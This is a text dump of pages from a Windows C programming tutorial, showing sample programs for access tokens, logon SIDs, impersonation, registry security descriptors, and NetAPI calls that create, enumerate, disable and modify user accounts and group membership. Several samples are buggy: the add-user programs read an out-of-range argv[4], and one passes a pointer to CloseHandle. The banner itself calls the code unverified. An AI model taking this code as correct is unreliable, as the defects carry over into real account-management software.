// Get the required buffer size and allocate the TOKEN_GROUPS buffer.
if(!GetTokenInformation(
hToken, // handle to the access token
TokenGroups, // get information about the token's groups
(LPVOID) ptgrp, // pointer to TOKEN_GROUPS buffer
0, // size of buffer
&dwLength // receives required buffer size
))
{
if(GetLastError() != ERROR_INSUFFICIENT_BUFFER)
Cleanup(ptgrp);
else
ptgrp = (PTOKEN_GROUPS)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwLength);

if(ptgrp == NULL)
Cleanup(ptgrp);
else
printf("Buffer for TOKEN_GROUPS is OK.\n");
}
else
printf("GetTokenInformation()-Getting all the buffer and their size is OK\n");

// Get the token group information from the access token.


if(!GetTokenInformation(
hToken, // handle to the access token
TokenGroups, // get information about the token's groups
(LPVOID) ptgrp, // pointer to TOKEN_GROUPS buffer
dwLength, // size of buffer
&dwLength // receives required buffer size
))
{ Cleanup(ptgrp); }
else
printf("GetTokenInformation()-Getting the group info is OK\n");

// Loop through the groups to find the logon SID.

file:///C|/Tutorial.txt (730 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

for(dwIndex = 0; dwIndex < ptgrp->GroupCount; dwIndex++)


if((ptgrp->Groups[dwIndex].Attributes & SE_GROUP_LOGON_ID) == SE_GROUP_LOGON_ID)
{
// If the logon SID is found then make a copy of it.
dwLength = GetLengthSid(ptgrp->Groups[dwIndex].Sid);
// Allocate a storage
ppsid = (PSID) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwLength);
// and verify again...
if(ppsid == NULL)
Cleanup(ptgrp);
else
printf("The ppsid pointer is OK.\n");

// If Copying the SID fails...


if(!CopySid(dwLength,
ppsid, // Destination
ptgrp->Groups[dwIndex].Sid)) // Source
{
HeapFree(GetProcessHeap(), 0, (LPVOID)ppsid);
Cleanup(ptgrp);
}
else
printf("CopySid() is OK lol!\n");

//*******************************************************
// Convert the logon sid to SID string format
if(!(ConvertSidToStringSid(
ppsid, // Pointer to the SID structure to be converted
&pSid))) // Pointer to variable that receives the null-terminated SID string
{
printf("ConvertSidToStringSid() error %u\n", GetLastError());
Cleanup(ptgrp);
exit(1);
}
else
{
printf("ConvertSidToStringSid() is OK.\n");
printf("The logon SID string is: %s\n", pSid);
}
}
// If everything OK, returns a clean slate...
bSuccess = TRUE;
return bSuccess;
}

// The following function release the buffer allocated


// by the GetLogonSID() function.
BOOL FreeLogonSID(PSID ppsid)
{
HeapFree(GetProcessHeap(), 0, (LPVOID)ppsid);
return TRUE;
}

int main()
{
// Handle to token

file:///C|/Tutorial.txt (731 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

HANDLE hToken;
// Just a dummy initial size of SID to avoid a NULL pointer
BYTE sidBuffer[256];
PSID ppsid = (PSID)&sidBuffer;

// Open a handle to the access token for the calling process


// that is the currently login access token
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken))
{
printf("OpenProcessToken()-Getting the handle to access token failed: %u\n", GetLastError());
}
else
printf("OpenProcessToken()-Getting the handle to access token is OK\n");

// Call the GetLogonSID()


if(GetLogonSID(hToken, ppsid))
printf("GetLogonSID() is OK. Error if any: %u\n\n", GetLastError());
else
printf("GetLogonSID() is not OK, error %u\n\n", GetLastError());

// Release the allocation for ppsid


if(FreeLogonSID(ppsid))
printf("The ppsid has been freed...\n");

// Close the handle lol


if(CloseHandle(hToken))
printf("The handle to the process is closed.\n");
return 0;
}

-------------------------------------------------------------------------------------------------------

// Log a user on to the local computer. This computer


// is logged on as Mike, user with Administrators group, then
// this program try to log on a restricted user named "testuser".
// For Win Xp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>

int main()
{
// "testuser" is restrictive user created in
// the XP machine that runs this program
LPTSTR lpszUsername = "testuser";
// Local account database
LPTSTR lpszDomain = ".";
LPTSTR lpszPassword = "testuser";
DWORD dwLogonType = LOGON32_LOGON_INTERACTIVE;
DWORD dwLogonProvider = LOGON32_PROVIDER_WINNT50;
// Some dummy to avoid the NULL pointer of the phToken
PVOID myhandle;
PHANDLE phToken = (PHANDLE)&myhandle;

if(LogonUser(
lpszUsername, // Username

file:///C|/Tutorial.txt (732 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

lpszDomain, // Domain or server where the Username is reside


lpszPassword, // Plaintext password
dwLogonType, // Type of logon
dwLogonProvider, // The logon provider
phToken // Pointer to handle that received the token
))
printf("Well, \"%s\" user logged on to this machine successfully!\n", lpszUsername);
else
{
printf("%s failed to log on to this machine! error %u\n", lpszUsername, GetLastError());
exit(-1);
}

PVOID hToken = (PVOID)phToken;

if(CloseHandle(hToken) != 0)
printf("The handle that received the token has been closed.\n");
else
printf("Something wrong, the handle cannot be closed! error: %u\n", GetLastError());
// Arrgghhh the handle cannot be closed, time for you to solve. The CloseHandle() accept
// HANDLE to an object, but here phToken is a pointer to HANDLE...
return 0;
}

-------------------------------------------------------------------------------------------------------

// For Win Xp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>

int main()
{
// Handle to token
HANDLE hToken;

// Open a handle to the access token for the calling process


// that is the currently login access token
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken))
{
printf("OpenProcessToken()-Getting the handle to access token failed: %u\n", GetLastError());
}
else
printf("OpenProcessToken()-Getting the handle to access token is OK\n");

// Lets the calling process impersonate the security context of a logged-on user.
if(ImpersonateLoggedOnUser(hToken))
printf("ImpersonateLoggedOnUser() is OK.\n");
else
{
printf("ImpersonateLoggedOnUser() is not OK, error %u.\n", GetLastError());
exit(-1);
}

// Do other tasks
// ...

file:///C|/Tutorial.txt (733 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// Terminates the impersonation of a client.


if(RevertToSelf())
printf("Impersonation is terminated.\n");

// Close the handle


if(CloseHandle(hToken))
printf("Handle to an access token closed.\n");
return 0;
}

-------------------------------------------------------------------------------------------------------

// Creating a security descriptor for a new object,


// a registry key...
#include <windows.h>
#include <stdio.h>
#include <aclapi.h>

// Buffer clean up routine


void Cleanup(PSID pEveryoneSID, PSID pAdminSID, PACL pACL, PSECURITY_DESCRIPTOR pSD, HKEY hkSub)
{
if(pEveryoneSID)
FreeSid(pEveryoneSID);
if(pAdminSID)
FreeSid(pAdminSID);
if(pACL)
LocalFree(pACL);
if(pSD)
LocalFree(pSD);
if(hkSub)
RegCloseKey(hkSub);
}

int main()
{
DWORD dwRes, dwDisposition;
PSID pEveryoneSID = NULL, pAdminSID = NULL;
PACL pACL = NULL;
PSECURITY_DESCRIPTOR pSD = NULL;
// An array of EXPLICIT_ACCESS structure
EXPLICIT_ACCESS ea[2];
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
SID_IDENTIFIER_AUTHORITY SIDAuthNT = SECURITY_NT_AUTHORITY;
SECURITY_ATTRIBUTES sa;
LONG lRes;
HKEY hkSub = NULL;

// Create a well-known SID for the Everyone group.


if(!AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID,
0, 0, 0, 0, 0, 0, 0, &pEveryoneSID))
{
printf("AllocateAndInitializeSid() error %u\n", GetLastError());
Cleanup(pEveryoneSID, pAdminSID, pACL, pSD, hkSub);
}
else

file:///C|/Tutorial.txt (734 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

printf("AllocateAndInitializeSid() for the Everyone group is OK\n");

// Initialize an EXPLICIT_ACCESS structure for an ACE.


// The ACE will allow Everyone read access to the key.
ZeroMemory(&ea, 2 * sizeof(EXPLICIT_ACCESS));
ea[0].grfAccessPermissions = KEY_READ;
ea[0].grfAccessMode = SET_ACCESS;
ea[0].grfInheritance= NO_INHERITANCE;
ea[0].Trustee.TrusteeForm = TRUSTEE_IS_SID;
ea[0].Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
ea[0].Trustee.ptstrName = (LPTSTR) pEveryoneSID;

// Create a SID for the BUILTIN\Administrators group.


if(!AllocateAndInitializeSid(&SIDAuthNT, 2, SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &pAdminSID))
{
printf("AllocateAndInitializeSid() error %u\n", GetLastError());
Cleanup(pEveryoneSID, pAdminSID, pACL, pSD, hkSub);
}
else
printf("AllocateAndInitializeSid() for the BUILTIN\\Administrators group is OK\n");

// Initialize an EXPLICIT_ACCESS structure for an ACE.


// The ACE will allow the Administrators group full access to the key.
ea[1].grfAccessPermissions = KEY_ALL_ACCESS;
ea[1].grfAccessMode = SET_ACCESS;
ea[1].grfInheritance= NO_INHERITANCE;
ea[1].Trustee.TrusteeForm = TRUSTEE_IS_SID;
ea[1].Trustee.TrusteeType = TRUSTEE_IS_GROUP;
ea[1].Trustee.ptstrName = (LPTSTR) pAdminSID;

// Create a new ACL that contains the new ACEs.


dwRes = SetEntriesInAcl(2, ea, NULL, &pACL);
if(dwRes != ERROR_SUCCESS)
{
printf("SetEntriesInAcl() error %u\n", GetLastError());
Cleanup(pEveryoneSID, pAdminSID, pACL, pSD, hkSub);
}
else
printf("SetEntriesInAcl() for the Administrators group is OK\n");

// Initialize a security descriptor.


pSD = (PSECURITY_DESCRIPTOR) LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH);
if(pSD == NULL)
{
printf("LocalAlloc() error %u\n", GetLastError());
Cleanup(pEveryoneSID, pAdminSID, pACL, pSD, hkSub);
}
else
printf("LocalAlloc() is OK\n");

if(!InitializeSecurityDescriptor(pSD, SECURITY_DESCRIPTOR_REVISION))
{
printf("InitializeSecurityDescriptor Error %u\n", GetLastError());
Cleanup(pEveryoneSID, pAdminSID, pACL, pSD, hkSub);
}

file:///C|/Tutorial.txt (735 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

else
printf("InitializeSecurityDescriptor() is OK\n");

// Add the ACL to the security descriptor.


if(!SetSecurityDescriptorDacl(pSD,
TRUE, // bDaclPresent flag
pACL,
FALSE)) // not a default DACL
{
printf("SetSecurityDescriptorDacl() Error %u\n", GetLastError());
Cleanup(pEveryoneSID, pAdminSID, pACL, pSD, hkSub);
}
else
printf("SetSecurityDescriptorDacl() is OK\n");

// Initialize a security attributes structure.


sa.nLength = sizeof (SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = pSD;
sa.bInheritHandle = FALSE;

// Use the security attributes to set the security descriptor


// when you create a registry key.
lRes = RegCreateKeyEx(HKEY_CURRENT_USER, // handle to an open key
"mytestkey", // name of the subkey
0, // Reserved
"", // class or object type of this key, may be ignored
0, // Options
KEY_READ | KEY_WRITE, // Access right for the key
&sa, // Pointer to security attribute structure, can be inherited
// or not. NULL is not inherited
&hkSub, // variable that receives a handle to the opened or created
// key
&dwDisposition); // variable that receives:
// REG_CREATED_NEW_KEY - create new key (non-exist)
// REG_OPENED_EXISTING_KEY - just open the existing key
// (already exist)
// If successful
if(lRes == 0)
{
printf("The value of the \'&dwDisposition\': %u\n", dwDisposition);
printf("HKEY_CURRENT_USER\\mytestkey successfully created.\n");
}
else
printf("Creating and opening HKEY_CURRENT_USER\\mytestkey is failed.\n");
return 0;
}

-------------------------------------------------------------------------------------------------------

// Don't have time to complete this example :o(


// Have to dig more on pipe story...
// Tips to complete and make this example useable:
// Fill up all the ImpersonateAndCheckAccess() parameters.

#include <windows.h>
#include <stdio.h>

file:///C|/Tutorial.txt (736 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

#include <aclapi.h>

void Cleanup(HANDLE hToken)


{
RevertToSelf();
if(hToken != INVALID_HANDLE_VALUE)
CloseHandle(hToken);
}

BOOL ImpersonateAndCheckAccess(
HANDLE hNamedPipe, // handle of pipe to impersonate
PSECURITY_DESCRIPTOR pSD, // security descriptor to check
DWORD dwAccessDesired, // access rights to check
PGENERIC_MAPPING pGeneric, // generic mapping for object
PDWORD pdwAccessAllowed // returns allowed access rights
)
{
HANDLE hToken;
PRIVILEGE_SET PrivilegeSet;
DWORD dwPrivSetSize = sizeof(PRIVILEGE_SET);
BOOL fAccessGranted=FALSE;

// Impersonate the client.


if(!ImpersonateNamedPipeClient(hNamedPipe))
return FALSE;

// Get an impersonation token with the client's security context.


if(!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &hToken))
Cleanup(hToken);

// Use the GENERIC_MAPPING structure to convert any


// generic access rights to object-specific access rights.
MapGenericMask(&dwAccessDesired, pGeneric);

// Check the client's access rights.


if(!AccessCheck(
pSD, // security descriptor to check
hToken, // impersonation token
dwAccessDesired, // requested access rights
pGeneric, // pointer to GENERIC_MAPPING
&PrivilegeSet, // receives privileges used in check
&dwPrivSetSize, // size of PrivilegeSet buffer
pdwAccessAllowed, // receives mask of allowed access rights
&fAccessGranted )) // receives results of access check

Cleanup(hToken);
return fAccessGranted;
}

int main()
{
// TODO: Call ImpersonateAndCheckAccess() with appropriate
// parameters.
return 0;
}

file:///C|/Tutorial.txt (737 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

==============================ModuleM=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================

Compiled using VC++/VC++ .Net.....unmanaged...

//********* myadduser.cpp **********


// For WinXp
#define _WIN32_WINNT 0x0501
// Wide character/Unicode based program
#ifndef UNICODE
#define UNICODE
#endif

#include <windows.h>
#include <stdio.h>
#include <lm.h>

// This program accept 3 arguments: servername, user account and password.


// It is run on local WinXp machine so the servername is the
// local WinXp machine name or you can use NULL for the 1st parameter
// of the NetUserAdd() and arguments, should be without the servername.
int wmain(int argc, wchar_t *argv[])
{
USER_INFO_1 ui;
DWORD dwLevel = 1;
DWORD dwError = 0;
NET_API_STATUS nStatus;

if(argc != 4)
{
fwprintf(stderr, L"Usage: %s ServerName UserName Password.\n", argv[0]);
// or use fwprintf(stderr, L"Usage: %s UserName Password.\n", argv[0]);
// for local machine and adjust other array element appropriately.
exit(1);
}

// Set up the USER_INFO_1 structure.


// USER_PRIV_USER: name identifies an normal user
// UF_SCRIPT: required for LAN Manager 2.0 and Windows NT and later.
ui.usri1_name = argv[2]; // Username entered through command line
ui.usri1_password = argv[4]; // Password
ui.usri1_priv = USER_PRIV_USER; // As a normal/restricted user
ui.usri1_home_dir = NULL; // No home directory

file:///C|/Tutorial.txt (738 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

ui.usri1_comment = L"This is a test normal user account using NetUserAdd"; // Comment


ui.usri1_flags = UF_SCRIPT; // Must be UF_SCRIPT
ui.usri1_script_path = NULL; // No script path

// Call the NetUserAdd() function, specifying level 1.


nStatus = NetUserAdd(argv[1],
dwLevel,
(LPBYTE)&ui,
&dwError);

// If the call succeeds, inform the user.


if(nStatus == NERR_Success)
{
fwprintf(stderr, L"%s user has been successfully added on %s machine.\n", argv[2], argv[1]);
fwprintf(stderr, L"Username: %s password: %s.\n", argv[2], argv[3]);
}
// Otherwise, print the system error.
else
fprintf(stderr, "A system error has occurred: %d\n", nStatus);

return 0;
}

----------------------------------------------------------------------------------------------------------------

//********* mydomadduser.cpp **********


// For Win 2000
#define _WIN32_WINNT 0x0500
// Wide character/Unicode based program
#ifndef UNICODE
#define UNICODE
#endif

#include <windows.h>
#include <stdio.h>
#include <lm.h>

// This program accept 3 arguments: servername, user account and password.


// It is run locally on Win 2000 DC of kpts.org domain. The DC server name is tutorkpts.
// May be NULL if it is run on local...
int wmain(int argc, wchar_t *argv[])
{
USER_INFO_1 ui;
DWORD dwLevel = 1;
DWORD dwError = 0;
NET_API_STATUS nStatus;

if(argc != 4)
{
// For NT40 need to append \\Servername
fwprintf(stderr, L"Usage: %s ServerName UserName Password.\n", argv[0]);
// or use fwprintf(stderr, L"Usage: %s UserName Password.\n", argv[0]);
// for local machine and adjust other array element appropriately.
exit(1);
}

file:///C|/Tutorial.txt (739 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// Set up the USER_INFO_1 structure.


// USER_PRIV_USER: name identifies an normal user
// UF_SCRIPT: required for LAN Manager 2.0 and Windows NT and later.
ui.usri1_name = argv[2]; // Username entered through command line
ui.usri1_password = argv[4]; // Password, through command line
ui.usri1_priv = USER_PRIV_USER; // As a normal/restricted user
ui.usri1_home_dir = L""; // No home directory, just dummy or point it to NULL
ui.usri1_comment = L"This is a test normal user account using NetUserAdd()"; // Comment
ui.usri1_flags = UF_SCRIPT; // Must be UF_SCRIPT
ui.usri1_script_path = L""; // No script path, just dummy or point it to NULL

// Call the NetUserAdd() function, specifying level 1.


nStatus = NetUserAdd(argv[1],
dwLevel,
(LPBYTE)&ui,
&dwError);

// If the call succeeds, inform the user.


if(nStatus == NERR_Success)
{
fwprintf(stderr, L"%s user has been successfully added on %s machine.\n", argv[2], argv[1]);
fwprintf(stderr, L"Username: %s password: %s.\n", argv[2], argv[3]);
}
// Otherwise, print the system error.
else
fprintf(stderr, "A system error has occurred: %d\n", nStatus);

return 0;
}

----------------------------------------------------------------------------------------------------------------

//***** myenumerateuser.cpp ********


// For WinXp
#define _WIN32_WINNT 0x0501
// Wide character/Unicode based program
#ifndef UNICODE
#define UNICODE
#endif

#include <windows.h>
#include <stdio.h>
#include <assert.h>
#include <lm.h>

// This program accept 1 argument, a servername


// else, local computer is assumed
int wmain(int argc, wchar_t *argv[])
{
// Use LPUSER_INFO_1 type for more Level 1 detail info.
LPUSER_INFO_1 pBuf = NULL;
LPUSER_INFO_1 pTmpBuf;
DWORD dwLevel = 1;
DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH;
DWORD dwEntriesRead = 0;
DWORD dwTotalEntries = 0;

file:///C|/Tutorial.txt (740 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

DWORD dwResumeHandle = 0;
DWORD i;
DWORD dwTotalCount = 0;
NET_API_STATUS nStatus;
LPTSTR pszServerName = NULL;

// Some prompt
// If argc == 1, local computer is assumed
if(argc > 2)
{
fwprintf(stderr, L"Usage: %s [ServerName]\n", argv[0]);
exit(1);
}
// The server name is supplied so it is not the default local computer.
if(argc == 2)
pszServerName = argv[1];
wprintf(L"\nUser accounts, flags and their privileges on %s machine: \n", pszServerName);

// Call the NetUserEnum() function, specifying level 0,


// enumerate global user account types only.
do // begin do
{
// If pszServerName is NULL, local pc is assumed, here we use servername but it
// is just a local WinXP machine. Try other entries also such as password etc.
nStatus = NetUserEnum(pszServerName,
dwLevel,
FILTER_NORMAL_ACCOUNT, // global users, change it appropriately
// to dig other info
(LPBYTE*)&pBuf,
dwPrefMaxLen,
&dwEntriesRead,
&dwTotalEntries,
&dwResumeHandle);

// If the call succeeds,


if((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA))
{
if((pTmpBuf = pBuf) != NULL)
{
// Loop through the entries.
for(i = 0; (i < dwEntriesRead); i++)
{
// Check buffer
assert(pTmpBuf != NULL);

if(pTmpBuf == NULL)
{
fprintf(stderr, "An access violation has occurred\n");
break;
}

// Print the name of the user account, flag and their privilege.
wprintf(L"... %s::%0x::%0x\n", pTmpBuf->usri1_name, pTmpBuf->usri1_flags, pTmpBuf->usri1_priv);

pTmpBuf++;
dwTotalCount++;

file:///C|/Tutorial.txt (741 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

}
}
}

// Otherwise, print the system error.


else
fprintf(stderr, "A system error has occurred: %d\n", nStatus);

// Release the allocated buffer.


if(pBuf != NULL)
{
NetApiBufferFree(pBuf);
pBuf = NULL;
}
}

// Continue to call NetUserEnum while there are more entries.


while (nStatus == ERROR_MORE_DATA); // end do

// Check again for allocated memory.


if(pBuf != NULL)
NetApiBufferFree(pBuf);
// Print the final count of users enumerated.
fprintf(stderr, "\nTotal of %d entries enumerated\n", dwTotalCount);

return 0;
}

----------------------------------------------------------------------------------------------------------------

//********** mysetuserinfo.cpp ************


// For WinXp
#define _WIN32_WINNT 0x0501
// Wide character/Unicode based program
#ifndef UNICODE
#define UNICODE
#endif

#include <windows.h>
#include <stdio.h>
#include <lm.h>

// This program accept 2 arguments, a servername and a user account to be disabled


int wmain(int argc, wchar_t *argv[])
{
// Disable the user account
DWORD dwLevel = 1008;
USER_INFO_1008 ui;
NET_API_STATUS nStatus;

// If not enough arguments supplied.


if(argc != 3)
{
fwprintf(stderr, L"Usage: %s ServerName UserName\n", argv[0]);
// Just exit, no further processing.

file:///C|/Tutorial.txt (742 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

exit(1);
}

// Fill in the USER_INFO_1008 structure member.


// UF_SCRIPT: required for LAN Manager 2.0 and Windows NT and later.
// UF_ACCOUNTDISABLE: disable the user account.
ui.usri1008_flags = (UF_SCRIPT | UF_ACCOUNTDISABLE);

// Call the NetUserSetInfo() function


// to disable the account, specifying level 1008.
nStatus = NetUserSetInfo(argv[1],
argv[2],
dwLevel,
(LPBYTE)&ui,
NULL);

// Display the result of the call.


if(nStatus == NERR_Success)
fwprintf(stderr, L"User account %s has been disabled.\n", argv[2]);
else
fprintf(stderr, "A system error has occurred: %d\n", nStatus);

return 0;
}

----------------------------------------------------------------------------------------------------------------

//******** mysetuserinfo2.cpp *******


// For WinXp
#define _WIN32_WINNT 0x0501
// Wide character/Unicode based program
#ifndef UNICODE
#define UNICODE
#endif

#include <windows.h>
#include <stdio.h>
#include <lm.h>

// This program accept 2 arguments, a servername and a user account


int wmain(int argc, wchar_t *argv[])
{
DWORD dwLevel = 1008;
USER_INFO_1008 ui;
NET_API_STATUS nStatus;

// If not enough arguments supplied.


if(argc != 3)
{
fwprintf(stderr, L"Usage: %s ServerName UserName\n", argv[0]);
// Just exit, no further processing.
exit(1);
}

// Fill in the USER_INFO_1008 structure member.


// UF_SCRIPT: required for LAN Manager 2.0 and Windows NT and later.

file:///C|/Tutorial.txt (743 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

ui.usri1008_flags = (UF_SCRIPT | UF_PASSWD_CANT_CHANGE | UF_DONT_EXPIRE_PASSWD);

// Call the NetUserSetInfo() function


// to set Password never expires and User cannot change password.
nStatus = NetUserSetInfo(argv[1],
argv[2],
dwLevel,
(LPBYTE)&ui,
NULL);

// Display the result of the call.


if(nStatus == NERR_Success)
{
fwprintf(stderr, L"%s user account has been set for:\n", argv[2]);
fwprintf(stderr, L"-- Password never expires.\n");
fwprintf(stderr, L"-- User cannot change password.\n");
}
else
fprintf(stderr, "A system error has occurred: %d\n", nStatus);

return 0;
}

----------------------------------------------------------------------------------------------------------------

//******** mydomsetuserinfo2.cpp *******


// For Win2000
#define _WIN32_WINNT 0x0500
// Wide character/Unicode based program
#ifndef UNICODE
#define UNICODE
#endif

#include <windows.h>
#include <stdio.h>
#include <lm.h>

// This program accept 2 arguments, a servername and a username


int wmain(int argc, wchar_t *argv[])
{
DWORD dwLevel = 1008;
USER_INFO_1008 ui;
NET_API_STATUS nStatus;

// If not enough arguments supplied.


if(argc != 3)
{
fwprintf(stderr, L"Usage: %s ServerName UserName\n", argv[0]);
// Just exit, no further processing.
exit(1);
}

// Fill in the USER_INFO_1008 structure member.


// UF_SCRIPT: required for LAN Manager 2.0 and Windows NT and later.
ui.usri1008_flags = (UF_SCRIPT | UF_PASSWD_CANT_CHANGE | UF_DONT_EXPIRE_PASSWD);

file:///C|/Tutorial.txt (744 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// Call the NetUserSetInfo() function


// to set Password never expires and User cannot change password.
nStatus = NetUserSetInfo(argv[1],
argv[2],
dwLevel,
(LPBYTE)&ui,
NULL);

// Display the result of the call.


if(nStatus == NERR_Success)
{
fwprintf(stderr, L"%s user account has been set for:\n", argv[2]);
fwprintf(stderr, L"-- Password never expires.\n");
fwprintf(stderr, L"-- User cannot change password.\n");
}
else
fprintf(stderr, "A system error has occurred: %d\n", nStatus);

return 0;
}

==============================ModuleN=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================

Compiled using VC++/VC++ .Net.....unmanaged...

//******* mychangepass.cpp ***********


#define _WIN32_WINNT 0x0501
// Wide character/Unicode based program
#ifndef UNICODE
#define UNICODE
#endif

#include <windows.h>
#include <stdio.h>
#include <lm.h>

// This program accept 4 arguments, a servername, a username, an old password


// and new password. Make sure the old password is entered correctly
int wmain(int argc, wchar_t *argv[])
{
DWORD dwError = 0;
NET_API_STATUS nStatus;

file:///C|/Tutorial.txt (745 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// All parameters are required.


if(argc != 5)
{
fwprintf(stderr, L"Usage: %s ServerName UserName OldPassword NewPassword\n", argv[0]);
// Just exit, no further processing
exit(1);
}

// Call the NetUserChangePassword function.


nStatus = NetUserChangePassword(argv[1], argv[2], argv[3], argv[4]);

// If the call succeeds, inform the user.


if(nStatus == NERR_Success)
fwprintf(stderr, L"Password for %s user has been changed successfully\n", argv[2]);

// Otherwise, print the system error.


else
fprintf(stderr, "A system error has occurred: %d\n", nStatus);

return 0;
}

-----------------------------------------------------------------------------------------------------

//********* mylgroup.cpp **********


// For WinXp
#define _WIN32_WINNT 0x0501
// Wide character/Unicode based program
#ifndef UNICODE
#define UNICODE
#endif

#include <windows.h>
#include <stdio.h>
#include <lm.h>

// This program accept 3 arguments: servername, GroupName and Comment.


int wmain(int argc, wchar_t *argv[])
{
LOCALGROUP_INFO_1 lgi1;
DWORD dwLevel = 1;
DWORD dwError = 0;
NET_API_STATUS nStatus;

if(argc != 4)
{
fwprintf(stderr, L"Usage: %s ServerName GroupName Comment\n", argv[0]);
// Just exit, no further processing
exit(1);
}

// Set up the LOCALGROUP_INFO_1 structure.


// Assign the group name and comment
lgi1.lgrpi1_name = argv[2]; // Local group name
lgi1.lgrpi1_comment = argv[3]; // Comment

file:///C|/Tutorial.txt (746 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// Call the NetLocalGroupAdd() function, specifying level 1.


nStatus = NetLocalGroupAdd(argv[1],
dwLevel,
(LPBYTE)&lgi1,
&dwError);

// If the call succeeds, inform the user.


if(nStatus == NERR_Success)
fwprintf(stderr, L"%s local group has been created successfully on %s machine.\n", argv[2], argv[1]);

// Otherwise, print the system error.


else
fprintf(stderr, "A system error has occurred: %d\n", nStatus);

return 0;
}

-----------------------------------------------------------------------------------------------------

//********* myaddmember.cpp **********


// For WinXp
#define _WIN32_WINNT 0x0501
// Wide character/Unicode based program
#ifndef UNICODE
#define UNICODE
#endif

#include <windows.h>
#include <stdio.h>
#include <lm.h>

// This program accept 3 arguments: servername, GroupName and


// MemberAccountName (DomainName\AccountName).
int wmain(int argc, wchar_t *argv[])
{
LOCALGROUP_MEMBERS_INFO_3 lgmi3;
DWORD dwLevel = 3;
DWORD totalEntries = 1;
NET_API_STATUS nStatus;

if(argc != 4)
{
fwprintf(stderr, L"Usage: %s ServerName GroupName MemberAccountName-(DomainName\\AccountName)\n", argv[0]);
// Just exit, no further processing
exit(1);
}

// Set up the LOCALGROUP_MEMBERS_INFO_3 structure.


// Assign the member account name in form of
// DomainName\AccountName
lgmi3.lgrmi3_domainandname = argv[3];

// Call the NetLocalGroupAddMembers() function, specifying level 3.


// Level 0 can use SID
nStatus = NetLocalGroupAddMembers(argv[1],

file:///C|/Tutorial.txt (747 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

argv[2],
dwLevel,
(LPBYTE)&lgmi3,
totalEntries);

// If the call succeeds, inform the user.


if(nStatus == NERR_Success)
fwprintf(stderr, L"%s has been added successfully to %s on %s machine.\n", argv[3], argv[2], argv[1]);

// Otherwise, print the system error.


else
fwprintf(stderr, L"A system error has occurred: %d\n", nStatus);

return 0;
}

-------------------------------------------------------------------------------------------------------------------

//********* mydomusrgrp.cpp **********


// For Win 2000
#define _WIN32_WINNT 0x0500
// Wide character/Unicode based program
#ifndef UNICODE
#define UNICODE
#endif

#include <windows.h>
#include <stdio.h>
#include <lm.h>

// This program accept 3 arguments: servername, GroupName and


// MemberAccountName (DomainName\AccountName).
int wmain(int argc, wchar_t *argv[])
{
LOCALGROUP_MEMBERS_INFO_3 lgmi3;
DWORD dwLevel = 3;
DWORD totalEntries = 1;
NET_API_STATUS nStatus;

if(argc != 4)
{
fwprintf(stderr, L"Usage: %s ServerName GroupName MemberAccountName-(DomainName\\AccountName)\n", argv[0]);
// Just exit, no further processing
exit(1);
}

// Set up the LOCALGROUP_MEMBERS_INFO_3 structure.


// Assign the member account name in form of
// DomainName\AccountName
lgmi3.lgrmi3_domainandname = argv[3];

// Call the NetLocalGroupAddMembers() function, specifying level 3.


// Level 0 can use SID
nStatus = NetLocalGroupAddMembers(argv[1],
argv[2],
dwLevel,

file:///C|/Tutorial.txt (748 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

(LPBYTE)&lgmi3,
totalEntries);

// If the call succeeds, inform the user.


if(nStatus == NERR_Success)
